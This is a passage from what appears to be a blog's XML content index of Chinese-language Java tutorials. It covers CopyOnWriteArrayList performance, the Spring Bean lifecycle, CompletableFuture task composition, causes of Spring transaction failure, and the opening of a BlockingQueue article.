testSynchronized(readCount, writeCount);</span><br><span class="line">    &#125;</span><br><span class="line">&#125;</span><br></pre></td></tr></table></figure><p><strong>结果</strong>（1000个元素）：</p><ul><li>读操作：CopyOnWriteArrayList 比 SynchronizedList 快 10~100 倍</li><li>写操作：CopyOnWriteArrayList 比 SynchronizedList 慢 100~1000 倍</li></ul><h2 id="总结"><a href="#总结" class="headerlink" title="总结"></a>总结</h2><table><thead><tr><th>场景</th><th>推荐选择</th></tr></thead><tbody><tr><td>读多写少（&gt;100:1）</td><td>CopyOnWriteArrayList</td></tr><tr><td>读写均衡</td><td>ConcurrentLinkedQueue / SynchronizedList</td></tr><tr><td>写多读少</td><td>SynchronizedList</td></tr><tr><td>需要阻塞</td><td>BlockingQueue</td></tr></tbody></table><p>CopyOnWriteArrayList 是读多写少场景的理想选择，但务必确认写操作频率足够低，否则会带来严重的性能和内存问题。</p>]]></content>
      
      
      <categories>
          
          <category> Java并发 </category>
          
      </categories>
      
      
        <tags>
            
            <tag> Java </tag>
            
            <tag> 并发 </tag>
            
        </tags>
      
    </entry>
    
    
    
    <entry>
      <title>Bean 生命周期按步骤理解</title>
      <link href="//bean-sheng-ming-zhou-qi-an-bu-zou-li-jie/"/>
      <url>//bean-sheng-ming-zhou-qi-an-bu-zou-li-jie/</url>
      
        <content type="html"><![CDATA[<h1 id="Bean-生命周期按步骤理解"><a href="#Bean-生命周期按步骤理解" class="headerlink" title="Bean 生命周期按步骤理解"></a>Bean 生命周期按步骤理解</h1><p>Spring Bean 的生命周期一直是面试和日常开发中绕不开的话题。很多人知道有几个回调方法，但对执行顺序和实际应用场景并不清楚。本文按初始化到销毁的顺序，把关键节点梳理清楚，结合实际代码说明每个阶段的作用。</p><h2 id="先搭一个最小接口"><a href="#先搭一个最小接口" class="headerlink" title="先搭一个最小接口"></a>先搭一个最小接口</h2><p>以 Spring Boot 为例，一个接口最好保持分层清楚：</p><figure class="highlight java"><table><tr><td class="code"><pre><span class="line"><span class="meta">@RestController</span></span><br><span class="line"><span class="meta">@RequestMapping(&quot;/users&quot;)</span></span><br><span class="line"><span class="keyword">public</span> <span class="keyword">class</span> <span class="title class_">UserController</span> &#123;</span><br><span class="line">    <span class="keyword">private</span> <span class="keyword">final</span> UserService userService;</span><br><span class="line"></span><br><span class="line">    <span class="keyword">public</span> <span class="title function_">UserController</span><span class="params">(UserService userService)</span> &#123;</span><br><span class="line">        <span class="built_in">this</span>.userService = userService;</span><br><span class="line">    &#125;</span><br><span class="line"></span><br><span class="line">    <span class="meta">@GetMapping(&quot;/&#123;id&#125;&quot;)</span></span><br><span class="line">    <span class="keyword">public</span> UserDTO <span class="title function_">detail</span><span class="params">(<span class="meta">@PathVariable</span> Long id)</span> &#123;</span><br><span class="line">        <span class="keyword">return</span> userService.detail(id);</span><br><span class="line">    &#125;</span><br><span class="line">&#125;</span><br></pre></td></tr></table></figure><p>Controller 只负责接收请求和返回结果，业务逻辑放到 Service。这样代码更容易测试，也更容易维护。</p><h2 id="配置和验证"><a href="#配置和验证" class="headerlink" title="配置和验证"></a>配置和验证</h2><p>如果涉及环境配置，建议拆分：</p><figure class="highlight yaml"><table><tr><td class="code"><pre><span class="line"><span class="attr">spring:</span></span><br><span class="line">  <span class="attr">profiles:</span></span><br><span class="line">    <span class="attr">active:</span> <span class="string">dev</span></span><br><span class="line"></span><br><span class="line"><span class="attr">server:</span></span><br><span class="line">  <span class="attr">port:</span> <span class="number">8080</span></span><br></pre></td></tr></table></figure><p>生产环境启动时不要手工改文件，可以通过参数指定：</p><figure class="highlight bash"><table><tr><td class="code"><pre><span class="line">java -jar app.jar --spring.profiles.active=prod</span><br></pre></td></tr></table></figure><p>接口写完后，用 curl 验证：</p><figure class="highlight bash"><table><tr><td class="code"><pre><span class="line">curl http://localhost:8080/users/1</span><br></pre></td></tr></table></figure><h2 id="常见坑"><a href="#常见坑" class="headerlink" title="常见坑"></a>常见坑</h2><ul><li>事务方法必须通过 Spring 代理调用，类内部直接调用可能导致事务不生效。</li><li>Controller 不要返回 Entity，避免数据库字段直接暴露。</li><li>参数校验和异常处理最好统一做，不要散落在每个接口里。</li></ul><h2 id="核心要点"><a href="#核心要点" class="headerlink" title="核心要点"></a>核心要点</h2><ol><li><p>构造器注入是 Spring 4.3+ 推荐的方式，能保证依赖在对象创建时就被注入</p></li><li><p>@PostConstruct 和 InitializingBean.afterPropertiesSet() 的执行顺序很关键</p></li><li><p>Aware 接口让 Bean 能够感知容器的上下文信息</p></li><li><p>销毁阶段的回调同样有两种方式：@PreDestroy 和 DisposableBean.destroy()</p></li></ol><h2 id="总结"><a href="#总结" class="headerlink" title="总结"></a>总结</h2><p>理清 Bean 的生命周期，有助于理解 Spring 容器的工作机制，也能帮你在合适的时机执行初始化和清理逻辑。比如在 @PostConstruct 中建立数据库连接，在 @PreDestroy 中释放资源。</p>]]></content>
      
      
      <categories>
          
          <category> Spring </category>
          
      </categories>
      
      
        <tags>
            
            <tag> JAVA </tag>
            
            <tag> Spring </tag>
            
        </tags>
      
    </entry>
    
    
    
    <entry>
      <title>CompletableFuture编排异步任务</title>
      <link href="//completablefuture-bian-pai-yi-bu-ren-wu/"/>
      <url>//completablefuture-bian-pai-yi-bu-ren-wu/</url>
      
        <content type="html"><![CDATA[<h1 id="CompletableFuture编排异步任务"><a href="#CompletableFuture编排异步任务" class="headerlink" title="CompletableFuture编排异步任务"></a>CompletableFuture编排异步任务</h1><p><code>CompletableFuture</code> 是 Java 8 引入的异步编程工具，支持函数式组合、链式调用和异常处理。本文全面讲解其使用方法。</p><h2 id="创建-CompletableFuture"><a href="#创建-CompletableFuture" class="headerlink" title="创建 CompletableFuture"></a>创建 CompletableFuture</h2><h3 id="直接创建"><a href="#直接创建" class="headerlink" title="直接创建"></a>直接创建</h3><figure class="highlight java"><table><tr><td class="code"><pre><span class="line"><span class="comment">// 已完成</span></span><br><span class="line">CompletableFuture&lt;String&gt; completed = CompletableFuture.completedFuture(<span class="string">&quot;value&quot;</span>);</span><br><span class="line"></span><br><span class="line"><span class="comment">// 异步执行（默认ForkJoinPool）</span></span><br><span class="line">CompletableFuture&lt;String&gt; future = CompletableFuture.supplyAsync(() -&gt; &#123;</span><br><span class="line">    <span class="keyword">return</span> fetchData();</span><br><span class="line">&#125;);</span><br><span class="line"></span><br><span class="line"><span class="comment">// 异步执行（自定义线程池）</span></span><br><span class="line"><span class="type">ExecutorService</span> <span class="variable">executor</span> <span class="operator">=</span> Executors.newFixedThreadPool(<span class="number">10</span>);</span><br><span class="line">CompletableFuture&lt;String&gt; future = CompletableFuture.supplyAsync(() -&gt; &#123;</span><br><span class="line">    <span class="keyword">return</span> fetchData();</span><br><span class="line">&#125;, executor);</span><br><span class="line"></span><br><span class="line"><span class="comment">// 无返回值</span></span><br><span class="line">CompletableFuture&lt;Void&gt; runFuture = CompletableFuture.runAsync(() -&gt; &#123;</span><br><span class="line">    doSomething();</span><br><span class="line">&#125;);</span><br></pre></td></tr></table></figure><h2 id="串行组合"><a href="#串行组合" class="headerlink" title="串行组合"></a>串行组合</h2><h3 id="thenApply：转换结果"><a href="#thenApply：转换结果" class="headerlink" title="thenApply：转换结果"></a>thenApply：转换结果</h3><figure class="highlight java"><table><tr><td class="code"><pre><span class="line">CompletableFuture&lt;String&gt; future = CompletableFuture.supplyAsync(() -&gt; <span class="string">&quot;100&quot;</span>);</span><br><span class="line"></span><br><span class="line">CompletableFuture&lt;Integer&gt; result = future.thenApply(Integer::parseInt)</span><br><span class="line">    .thenApply(n -&gt; n * <span class="number">2</span>);</span><br><span class="line"></span><br><span class="line"><span class="comment">// 结果: 200</span></span><br></pre></td></tr></table></figure><h3 id="thenAccept：消费结果"><a href="#thenAccept：消费结果" class="headerlink" title="thenAccept：消费结果"></a>thenAccept：消费结果</h3><figure class="highlight java"><table><tr><td class="code"><pre><span class="line">future.thenAccept(result -&gt; &#123;</span><br><span class="line">    System.out.println(<span class="string">&quot;结果: &quot;</span> + result);</span><br><span class="line">&#125;);</span><br></pre></td></tr></table></figure><h3 id="thenRun：不依赖结果"><a href="#thenRun：不依赖结果" class="headerlink" title="thenRun：不依赖结果"></a>thenRun：不依赖结果</h3><figure class="highlight java"><table><tr><td class="code"><pre><span class="line">future.thenRun(() -&gt; &#123;</span><br><span class="line">    System.out.println(<span class="string">&quot;任务完成，执行清理&quot;</span>);</span><br><span class="line">&#125;);</span><br></pre></td></tr></table></figure><h3 id="异步版本"><a href="#异步版本" class="headerlink" title="异步版本"></a>异步版本</h3><figure class="highlight java"><table><tr><td class="code"><pre><span class="line">future.thenApplyAsync(...)      <span class="comment">// 使用默认线程池</span></span><br><span class="line">future.thenApplyAsync(..., executor)  <span class="comment">// 使用指定线程池</span></span><br></pre></td></tr></table></figure><h2 id="并行组合"><a href="#并行组合" class="headerlink" title="并行组合"></a>并行组合</h2><h3 id="thenCombine：合并两个结果"><a href="#thenCombine：合并两个结果" class="headerlink" title="thenCombine：合并两个结果"></a>thenCombine：合并两个结果</h3><figure class="highlight java"><table><tr><td class="code"><pre><span class="line">CompletableFuture&lt;String&gt; future1 = CompletableFuture.supplyAsync(() -&gt; <span class="string">&quot;Hello&quot;</span>);</span><br><span class="line">CompletableFuture&lt;String&gt; future2 = CompletableFuture.supplyAsync(() -&gt; <span class="string">&quot;World&quot;</span>);</span><br><span class="line"></span><br><span class="line">CompletableFuture&lt;String&gt; combined = future1.thenCombine(future2, (f1, f2) -&gt; f1 + <span class="string">&quot; &quot;</span> + f2);</span><br><span class="line"><span class="comment">// 结果: &quot;Hello World&quot;</span></span><br></pre></td></tr></table></figure><h3 id="thenAcceptBoth：消费两个结果"><a href="#thenAcceptBoth：消费两个结果" class="headerlink" title="thenAcceptBoth：消费两个结果"></a>thenAcceptBoth：消费两个结果</h3><figure class="highlight java"><table><tr><td class="code"><pre><span class="line">future1.thenAcceptBoth(future2, (f1, f2) -&gt; &#123;</span><br><span class="line">    System.out.println(f1 + f2);</span><br><span class="line">&#125;);</span><br></pre></td></tr></table></figure><h3 id="runAfterBoth：两个都完成后执行"><a href="#runAfterBoth：两个都完成后执行" class="headerlink" title="runAfterBoth：两个都完成后执行"></a>runAfterBoth：两个都完成后执行</h3><figure class="highlight java"><table><tr><td class="code"><pre><span class="line">future1.runAfterBoth(future2, () -&gt; &#123;</span><br><span class="line">    System.out.println(<span class="string">&quot;两个任务都完成了&quot;</span>);</span><br><span class="line">&#125;);</span><br></pre></td></tr></table></figure><h2 id="选择最快的"><a href="#选择最快的" class="headerlink" title="选择最快的"></a>选择最快的</h2><h3 id="applyToEither：获取最快结果"><a href="#applyToEither：获取最快结果" class="headerlink" title="applyToEither：获取最快结果"></a>applyToEither：获取最快结果</h3><figure class="highlight java"><table><tr><td class="code"><pre><span class="line">CompletableFuture&lt;String&gt; fast = CompletableFuture.supplyAsync(() -&gt; &#123;</span><br><span class="line">    sleep(<span class="number">100</span>);</span><br><span class="line">    <span class="keyword">return</span> <span class="string">&quot;from API 1&quot;</span>;</span><br><span class="line">&#125;);</span><br><span class="line"></span><br><span class="line">CompletableFuture&lt;String&gt; slow = CompletableFuture.supplyAsync(() -&gt; &#123;</span><br><span class="line">    sleep(<span class="number">200</span>);</span><br><span class="line">    <span class="keyword">return</span> <span class="string">&quot;from API 2&quot;</span>;</span><br><span class="line">&#125;);</span><br><span class="line"></span><br><span class="line">CompletableFuture&lt;String&gt; winner = fast.applyToEither(slow, result -&gt; result);</span><br><span class="line"><span class="comment">// 返回 &quot;from API 1&quot;</span></span><br></pre></td></tr></table></figure><h2 id="多任务组合"><a href="#多任务组合" class="headerlink" title="多任务组合"></a>多任务组合</h2><h3 id="allOf：全部完成"><a href="#allOf：全部完成" class="headerlink" title="allOf：全部完成"></a>allOf：全部完成</h3><figure class="highlight java"><table><tr><td class="code"><pre><span class="line">CompletableFuture&lt;String&gt; f1 = fetchUser();</span><br><span class="line">CompletableFuture&lt;String&gt; f2 = fetchOrder();</span><br><span class="line">CompletableFuture&lt;String&gt; f3 = fetchInventory();</span><br><span class="line"></span><br><span class="line">CompletableFuture&lt;Void&gt; all = CompletableFuture.allOf(f1, f2, f3);</span><br><span class="line"></span><br><span class="line"><span class="comment">// 等待全部完成</span></span><br><span class="line">all.thenRun(() -&gt; &#123;</span><br><span class="line">    <span class="comment">// 注意：allOf返回Void，需要单独获取结果</span></span><br><span class="line">    <span class="type">String</span> <span class="variable">user</span> <span class="operator">=</span> f1.join();</span><br><span class="line">    <span class="type">String</span> <span class="variable">order</span> <span class="operator">=</span> f2.join();</span><br><span class="line">    <span class="type">String</span> <span class="variable">inventory</span> <span class="operator">=</span> f3.join();</span><br><span class="line">&#125;);</span><br></pre></td></tr></table></figure><h3 id="anyOf：任意完成"><a href="#anyOf：任意完成" class="headerlink" title="anyOf：任意完成"></a>anyOf：任意完成</h3><figure class="highlight java"><table><tr><td class="code"><pre><span class="line">CompletableFuture&lt;Object&gt; any = CompletableFuture.anyOf(f1, f2, f3);</span><br><span class="line">any.thenAccept(result -&gt; &#123;</span><br><span class="line">    System.out.println(<span class="string">&quot;最先完成的是: &quot;</span> + result);</span><br><span class="line">&#125;);</span><br></pre></td></tr></table></figure><h2 id="异常处理"><a href="#异常处理" class="headerlink" title="异常处理"></a>异常处理</h2><h3 id="exceptionally：捕获异常并恢复"><a href="#exceptionally：捕获异常并恢复" class="headerlink" title="exceptionally：捕获异常并恢复"></a>exceptionally：捕获异常并恢复</h3><figure class="highlight java"><table><tr><td class="code"><pre><span class="line">CompletableFuture&lt;String&gt; future = CompletableFuture.supplyAsync(() -&gt; &#123;</span><br><span class="line">    <span class="keyword">if</span> (<span class="literal">true</span>) <span class="keyword">throw</span> <span class="keyword">new</span> <span class="title class_">RuntimeException</span>(<span class="string">&quot;错误&quot;</span>);</span><br><span class="line">    <span class="keyword">return</span> <span class="string">&quot;success&quot;</span>;</span><br><span class="line">&#125;).exceptionally(ex -&gt; &#123;</span><br><span class="line">    System.out.println(<span class="string">&quot;异常: &quot;</span> + ex.getMessage());</span><br><span class="line">    <span class="keyword">return</span> <span class="string">&quot;default&quot;</span>;</span><br><span class="line">&#125;);</span><br><span class="line"><span class="comment">// 结果: &quot;default&quot;</span></span><br></pre></td></tr></table></figure><h3 id="handle：统一处理正常和异常结果"><a href="#handle：统一处理正常和异常结果" class="headerlink" title="handle：统一处理正常和异常结果"></a>handle：统一处理正常和异常结果</h3><figure class="highlight java"><table><tr><td class="code"><pre><span class="line">CompletableFuture&lt;String&gt; future = CompletableFuture.supplyAsync(() -&gt; &#123;</span><br><span class="line">    <span class="keyword">return</span> <span class="string">&quot;success&quot;</span>;</span><br><span class="line">&#125;).handle((result, ex) -&gt; &#123;</span><br><span class="line">    <span class="keyword">if</span> (ex != <span class="literal">null</span>) &#123;</span><br><span class="line">        <span class="keyword">return</span> <span class="string">&quot;Error: &quot;</span> + ex.getMessage();</span><br><span class="line">    &#125;</span><br><span class="line">    <span class="keyword">return</span> result.toUpperCase();</span><br><span class="line">&#125;);</span><br></pre></td></tr></table></figure><h3 id="whenComplete：副作用处理"><a href="#whenComplete：副作用处理" class="headerlink" title="whenComplete：副作用处理"></a>whenComplete：副作用处理</h3><figure class="highlight java"><table><tr><td class="code"><pre><span class="line">CompletableFuture&lt;String&gt; future = CompletableFuture.supplyAsync(() -&gt; &#123;</span><br><span class="line">    <span class="keyword">return</span> fetchData();</span><br><span class="line">&#125;).whenComplete((result, ex) -&gt; &#123;</span><br><span class="line">    <span class="keyword">if</span> (ex != <span class="literal">null</span>) &#123;</span><br><span class="line">        log.error(<span class="string">&quot;获取失败&quot;</span>, ex);</span><br><span class="line">    &#125; <span class="keyword">else</span> &#123;</span><br><span class="line">        log.info(<span class="string">&quot;获取成功: &#123;&#125;&quot;</span>, result);</span><br><span class="line">    &#125;</span><br><span class="line">&#125;);</span><br></pre></td></tr></table></figure><h2 id="实战场景"><a href="#实战场景" class="headerlink" title="实战场景"></a>实战场景</h2><h3 id="1-电商下单流程"><a href="#1-电商下单流程" class="headerlink" title="1. 电商下单流程"></a>1. 电商下单流程</h3><figure class="highlight java"><table><tr><td class="code"><pre><span class="line"><span class="keyword">public</span> CompletableFuture&lt;Order&gt; <span class="title function_">createOrder</span><span class="params">(CreateOrderRequest request)</span> &#123;</span><br><span class="line">    <span class="keyword">return</span> checkInventory(request.getSkuId(), request.getQuantity())</span><br><span class="line">        .thenCompose(hasStock -&gt; &#123;</span><br><span class="line">            <span class="keyword">if</span> (!hasStock) &#123;</span><br><span class="line">                <span class="keyword">throw</span> <span class="keyword">new</span> <span class="title class_">OutOfStockException</span>();</span><br><span class="line">            &#125;</span><br><span class="line">            <span class="keyword">return</span> calculatePrice(request);</span><br><span class="line">        &#125;)</span><br><span class="line">        .thenCompose(price -&gt; deductStock(request).thenApply(v -&gt; price))</span><br><span class="line">        .thenCompose(price -&gt; createOrderRecord(request, price))</span><br><span class="line">        .thenCompose(order -&gt; sendPaymentMessage(order).thenApply(v -&gt; order))</span><br><span class="line">        .exceptionally(ex -&gt; &#123;</span><br><span class="line">            log.error(<span class="string">&quot;下单失败&quot;</span>, ex);</span><br><span class="line">            <span class="keyword">throw</span> <span class="keyword">new</span> <span class="title class_">OrderException</span>(ex);</span><br><span class="line">        &#125;);</span><br><span class="line">&#125;</span><br></pre></td></tr></table></figure><h3 id="2-并行查询聚合"><a href="#2-并行查询聚合" class="headerlink" title="2. 并行查询聚合"></a>2. 并行查询聚合</h3><figure class="highlight java"><table><tr><td class="code"><pre><span class="line"><span class="keyword">public</span> CompletableFuture&lt;UserProfile&gt; <span class="title function_">getUserProfile</span><span class="params">(Long userId)</span> &#123;</span><br><span class="line">    CompletableFuture&lt;User&gt; userFuture = fetchUser(userId);</span><br><span class="line">    CompletableFuture&lt;List&lt;Order&gt;&gt; ordersFuture = fetchOrders(userId);</span><br><span class="line">    CompletableFuture&lt;List&lt;Coupon&gt;&gt; couponsFuture = fetchCoupons(userId);</span><br><span class="line">    </span><br><span class="line">    <span class="keyword">return</span> CompletableFuture.allOf(userFuture, ordersFuture, couponsFuture)</span><br><span class="line">        .thenApply(v -&gt; &#123;</span><br><span class="line">            <span class="type">UserProfile</span> <span class="variable">profile</span> <span class="operator">=</span> <span class="keyword">new</span> <span class="title class_">UserProfile</span>();</span><br><span class="line">            profile.setUser(userFuture.join());</span><br><span class="line">            profile.setOrders(ordersFuture.join());</span><br><span class="line">            profile.setCoupons(couponsFuture.join());</span><br><span class="line">            <span class="keyword">return</span> profile;</span><br><span class="line">        &#125;);</span><br><span class="line">&#125;</span><br></pre></td></tr></table></figure><h3 id="3-超时控制"><a href="#3-超时控制" class="headerlink" title="3. 超时控制"></a>3. 超时控制</h3><figure class="highlight java"><table><tr><td class="code"><pre><span class="line"><span class="keyword">public</span> CompletableFuture&lt;String&gt; <span class="title function_">fetchWithTimeout</span><span class="params">()</span> &#123;</span><br><span class="line">    CompletableFuture&lt;String&gt; future = CompletableFuture.supplyAsync(() -&gt; &#123;</span><br><span class="line">        <span class="keyword">return</span> callExternalAPI();</span><br><span class="line">    &#125;);</span><br><span class="line">    </span><br><span class="line">    CompletableFuture&lt;String&gt; timeout = CompletableFuture.supplyAsync(() -&gt; &#123;</span><br><span class="line">        sleep(<span class="number">5000</span>);</span><br><span class="line">        <span class="keyword">throw</span> <span class="keyword">new</span> <span class="title class_">TimeoutException</span>();</span><br><span class="line">    &#125;);</span><br><span class="line">    </span><br><span class="line">    <span class="keyword">return</span> future.applyToEither(timeout, result -&gt; result)</span><br><span class="line">        .exceptionally(ex -&gt; <span class="string">&quot;timeout&quot;</span>);</span><br><span class="line">&#125;</span><br><span class="line"></span><br><span class="line"><span class="comment">// Java 9+ 更简单</span></span><br><span class="line">future.orTimeout(<span class="number">5</span>, TimeUnit.SECONDS);  <span class="comment">// 5秒超时</span></span><br><span class="line">future.completeOnTimeout(<span class="string">&quot;default&quot;</span>, <span class="number">5</span>, TimeUnit.SECONDS);</span><br></pre></td></tr></table></figure><h2 id="注意事项"><a href="#注意事项" class="headerlink" title="注意事项"></a>注意事项</h2><h3 id="1-线程池选择"><a href="#1-线程池选择" class="headerlink" title="1. 线程池选择"></a>1. 线程池选择</h3><figure class="highlight java"><table><tr><td class="code"><pre><span class="line"><span class="comment">// CPU密集型：使用ForkJoinPool.commonPool()</span></span><br><span class="line">CompletableFuture.supplyAsync(() -&gt; compute());</span><br><span class="line"></span><br><span class="line"><span class="comment">// IO密集型：自定义线程池</span></span><br><span class="line">CompletableFuture.supplyAsync(() -&gt; callAPI(), ioExecutor);</span><br></pre></td></tr></table></figure><h3 id="2-异常传播"><a href="#2-异常传播" class="headerlink" title="2. 异常传播"></a>2. 异常传播</h3><figure class="highlight java"><table><tr><td class="code"><pre><span class="line"><span class="comment">// 错误：异常被吞掉</span></span><br><span class="line">future.thenApply(result -&gt; result.toUpperCase());  <span class="comment">// 如果future异常，这里不会执行</span></span><br><span class="line"></span><br><span class="line"><span class="comment">// 正确：始终处理异常</span></span><br><span class="line">future.thenApply(...)</span><br><span class="line">      .exceptionally(ex -&gt; &#123; ... &#125;);</span><br></pre></td></tr></table></figure><h3 id="3-避免阻塞"><a href="#3-避免阻塞" class="headerlink" title="3. 避免阻塞"></a>3. 避免阻塞</h3><figure class="highlight java"><table><tr><td class="code"><pre><span class="line"><span class="comment">// 错误：在异步链中阻塞</span></span><br><span class="line">CompletableFuture.supplyAsync(() -&gt; &#123;</span><br><span class="line">    <span class="keyword">return</span> anotherFuture.join();  <span class="comment">// 阻塞！</span></span><br><span class="line">&#125;);</span><br><span class="line"></span><br><span class="line"><span class="comment">// 正确：扁平化</span></span><br><span class="line">CompletableFuture.supplyAsync(() -&gt; <span class="string">&quot;data&quot;</span>)</span><br><span class="line">    .thenCompose(data -&gt; callAnotherAPI(data));</span><br></pre></td></tr></table></figure><h2 id="总结"><a href="#总结" class="headerlink" title="总结"></a>总结</h2><table><thead><tr><th>方法</th><th>输入</th><th>输出</th><th>说明</th></tr></thead><tbody><tr><td>thenApply</td><td>T</td><td>U</td><td>转换结果</td></tr><tr><td>thenAccept</td><td>T</td><td>void</td><td>消费结果</td></tr><tr><td>thenRun</td><td>-</td><td>void</td><td>不依赖结果</td></tr><tr><td>thenCompose</td><td>T</td><td>CompletableFuture</td><td>扁平化</td></tr><tr><td>thenCombine</td><td>T, U</td><td>V</td><td>合并两个结果</td></tr><tr><td>allOf</td><td>多个</td><td>Void</td><td>全部完成</td></tr><tr><td>anyOf</td><td>多个</td><td>Object</td><td>任意完成</td></tr><tr><td>exceptionally</td><td>Exception</td><td>T</td><td>异常恢复</td></tr><tr><td>handle</td><td>T/Ex</td><td>U</td><td>统一处理</td></tr></tbody></table><p>CompletableFuture 让异步编程变得声明式和可组合，是构建高并发、响应式系统的利器。</p>]]></content>
      
      
      <categories>
          
          <category> Java并发 </category>
          
      </categories>
      
      
        <tags>
            
            <tag> Java </tag>
            
            <tag> 并发 </tag>
            
        </tags>
      
    </entry>
    
    
    
    <entry>
      <title>Spring 事务失效的常见原因</title>
      <link href="//spring-shi-wu-shi-xiao-de-chang-jian-yuan-yin/"/>
      <url>//spring-shi-wu-shi-xiao-de-chang-jian-yuan-yin/</url>
      
        <content type="html"><![CDATA[<h1 id="Spring-事务失效的常见原因"><a href="#Spring-事务失效的常见原因" class="headerlink" title="Spring 事务失效的常见原因"></a>Spring 事务失效的常见原因</h1><p>Spring 事务用起来简单，但失效场景非常多。很多人遇到过 @Transactional 不生效的情况，却不知道原因。本文把日常开发中常见的坑和对应的排查思路整理出来，帮你避免踩坑。</p><h2 id="先搭一个最小接口"><a href="#先搭一个最小接口" class="headerlink" title="先搭一个最小接口"></a>先搭一个最小接口</h2><p>以 Spring Boot 为例，一个接口最好保持分层清楚：</p><figure class="highlight java"><table><tr><td class="code"><pre><span class="line"><span class="meta">@RestController</span></span><br><span class="line"><span class="meta">@RequestMapping(&quot;/users&quot;)</span></span><br><span class="line"><span class="keyword">public</span> <span class="keyword">class</span> <span class="title class_">UserController</span> &#123;</span><br><span class="line">    <span class="keyword">private</span> <span class="keyword">final</span> UserService userService;</span><br><span class="line"></span><br><span class="line">    <span class="keyword">public</span> <span class="title function_">UserController</span><span class="params">(UserService userService)</span> &#123;</span><br><span class="line">        <span class="built_in">this</span>.userService = userService;</span><br><span class="line">    &#125;</span><br><span class="line"></span><br><span class="line">    <span class="meta">@GetMapping(&quot;/&#123;id&#125;&quot;)</span></span><br><span class="line">    <span class="keyword">public</span> UserDTO <span class="title function_">detail</span><span class="params">(<span class="meta">@PathVariable</span> Long id)</span> &#123;</span><br><span class="line">        <span class="keyword">return</span> userService.detail(id);</span><br><span class="line">    &#125;</span><br><span class="line">&#125;</span><br></pre></td></tr></table></figure><p>Controller 只负责接收请求和返回结果，业务逻辑放到 Service。这样代码更容易测试，也更容易维护。</p><h2 id="配置和验证"><a href="#配置和验证" class="headerlink" title="配置和验证"></a>配置和验证</h2><p>如果涉及环境配置，建议拆分：</p><figure class="highlight yaml"><table><tr><td class="code"><pre><span class="line"><span class="attr">spring:</span></span><br><span class="line">  <span class="attr">profiles:</span></span><br><span class="line">    <span class="attr">active:</span> <span class="string">dev</span></span><br><span class="line"></span><br><span class="line"><span class="attr">server:</span></span><br><span class="line">  <span class="attr">port:</span> <span class="number">8080</span></span><br></pre></td></tr></table></figure><p>生产环境启动时不要手工改文件，可以通过参数指定：</p><figure class="highlight bash"><table><tr><td class="code"><pre><span class="line">java -jar app.jar --spring.profiles.active=prod</span><br></pre></td></tr></table></figure><p>接口写完后，用 curl 验证：</p><figure class="highlight bash"><table><tr><td class="code"><pre><span class="line">curl http://localhost:8080/users/1</span><br></pre></td></tr></table></figure><h2 id="常见坑"><a href="#常见坑" class="headerlink" title="常见坑"></a>常见坑</h2><ul><li>事务方法必须通过 Spring 代理调用，类内部直接调用可能导致事务不生效。</li><li>Controller 不要返回 Entity，避免数据库字段直接暴露。</li><li>参数校验和异常处理最好统一做，不要散落在每个接口里。</li></ul><h2 id="核心要点"><a href="#核心要点" class="headerlink" title="核心要点"></a>核心要点</h2><ol><li><p>事务失效的常见原因：非 public 方法、自调用、异常被吞掉、错误的传播级别</p></li><li><p>事务传播级别决定了方法之间的事务关系，REQUIRED 是默认值</p></li><li><p>使用 @Transactional(rollbackFor = Exception.class) 确保异常回滚</p></li><li><p>编程式事务在某些场景下比声明式事务更灵活</p></li></ol><h2 id="总结"><a href="#总结" class="headerlink" title="总结"></a>总结</h2><p>事务管理是保证数据一致性的关键。理解事务的工作机制和常见陷阱，能帮你写出更健壮的代码。在实际项目中，合理配置事务边界非常重要。</p>]]></content>
      
      
      <categories>
          
          <category> Spring </category>
          
      </categories>
      
      
        <tags>
            
            <tag> JAVA </tag>
            
            <tag> Spring </tag>
            
        </tags>
      
    </entry>
    
    
    
    <entry>
      <title>阻塞队列BlockingQueue详解</title>
      <link href="//zu-sai-dui-lie-blockingqueue-xiang-jie/"/>
      <url>//zu-sai-dui-lie-blockingqueue-xiang-jie/</url>
      
        <content type="html"><![CDATA[<h1 id="阻塞队列BlockingQueue详解"><a href="#阻塞队列BlockingQueue详解" class="headerlink" title="阻塞队列BlockingQueue详解"></a>阻塞队列BlockingQueue详解</h1><p><code>BlockingQueue</code> 是 Java 并发包中用于线程间数据交换的阻塞队列接口。本文系统讲解其 API 和七种实现类。</p><h2 id="核心-API"><a href="#核心-API" class="headerlink" title="核心 API"></a>核心 API</h2><p>BlockingQueue 提供四组插入/移除方法：</p><table><thead><tr><th>操作</th><th>抛出异常</th><th>返回特殊值</th><th>阻塞等待</th><th>超时退出</th></tr></thead><tbody><tr><td>插入</td><td>add(e)</td><td>offer(e)</td><td>put(e)</td><td>offer(e, time, unit)</td></tr><tr><td>移除</td><td>remove()</td><td>poll()</td><td>take()</td><td>poll(time, unit)</td></tr><tr><td>检查</td><td>element()</td><td>peek()</td><td>不可用</td><td>不可用</td></tr></tbody></table><figure class="highlight java"><table><tr><td class="code"><pre><span class="line">BlockingQueue&lt;String&gt; queue = <span class="keyword">new</span> <span class="title class_">ArrayBlockingQueue</span>&lt;&gt;(<span class="number">10</span>);</span><br><span class="line"></span><br><span class="line"><span class="comment">// 阻塞插入</span></span><br><span class="line">queue.put(<span class="string">&quot;item&quot;</span>);</span><br><span class="line"></span><br><span class="line"><span class="comment">// 阻塞取出</span></span><br><span class="line"><span class="type">String</span> <span class="variable">item</span> <span class="operator">=</span> queue.take();</span><br></pre></td></tr></table></figure><h2 id="七种实现类"><a href="#七种实现类" class="headerlink" title="七种实现类"></a>七种实现类</h2><h3 id="1-ArrayBlockingQueue"><a href="#1-ArrayBlockingQueue" class="headerlink" title="1. ArrayBlockingQueue"></a>1. ArrayBlockingQueue</h3><figure class="highlight java"><table><tr><td class="code"><pre><span class="line">BlockingQueue&lt;String&gt; queue = <span class="keyword">new</span> <span class="title class_">ArrayBlockingQueue</span>&lt;&gt;(<span class="number">100</span>);</span><br><span class="line">BlockingQueue&lt;String&gt; queue = <span class="keyword">new</span> <span class="title class_">ArrayBlockingQueue</span>&lt;&gt;(<span class="number">100</span>, <span class="literal">true</span>);  <span class="comment">// 公平锁</span></span><br></pre></td></tr></table></figure><p><strong>特点</strong>：</p><ul><li>有界数组队列</li><li>一把 ReentrantLock + 两个 Condition（notEmpty、notFull）</li><li>插入和移除共用同一把锁</li><li>必须指定容量</li></ul><p><strong>适用</strong>：生产者-消费者模式，需要限制内存的场景。</p><h3 id="2-LinkedBlockingQueue"><a href="#2-LinkedBlockingQueue" class="headerlink" title="2. LinkedBlockingQueue"></a>2. LinkedBlockingQueue</h3><figure class="highlight java"><table><tr><td class="code"><pre><span class="line">BlockingQueue&lt;String&gt; queue = <span 